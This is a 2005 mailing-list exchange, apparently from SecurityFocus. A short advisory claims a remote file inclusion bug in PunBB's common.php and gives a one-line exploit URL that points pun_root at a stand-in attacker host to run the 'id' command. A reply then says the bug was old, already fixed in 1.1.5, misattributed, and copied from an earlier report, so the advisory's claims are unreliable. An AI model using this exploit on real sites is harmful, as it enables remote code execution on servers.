Remote File Inclusion in forum PunBB

[rod hedor]

Remote File Inclusion in forum PunBB

Date:24/10/2005

Severity: High

version: 1.1.2 >> 1.1.5

The bug reside in common.php



Exploit :

http://www.host.com/forum/include/common.php?pun_root=http://www.host_evil.com/cmd?&=id


Discovery by RoDheDoR

L-G-H Team

http://www.lezr.com

__________________________________________________ _______________
FREE pop-up blocking with the new MSN Toolbar - get it now!
http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/

[arpen@securityfocus.com, home@securityfocus.com,]

1. The bug is over a year old (see bid 10760).
2. The bug was fixed in 1.1.5, so that version is not vulnerable.
3. It was discovered by Radek Hulan, not "RoDheDoR".
4. The exploit detailed is copied directly from the old bid so "RoDheDoR" was obviously aware of it.

The nerve of some of these reporters never seizes to amaze me.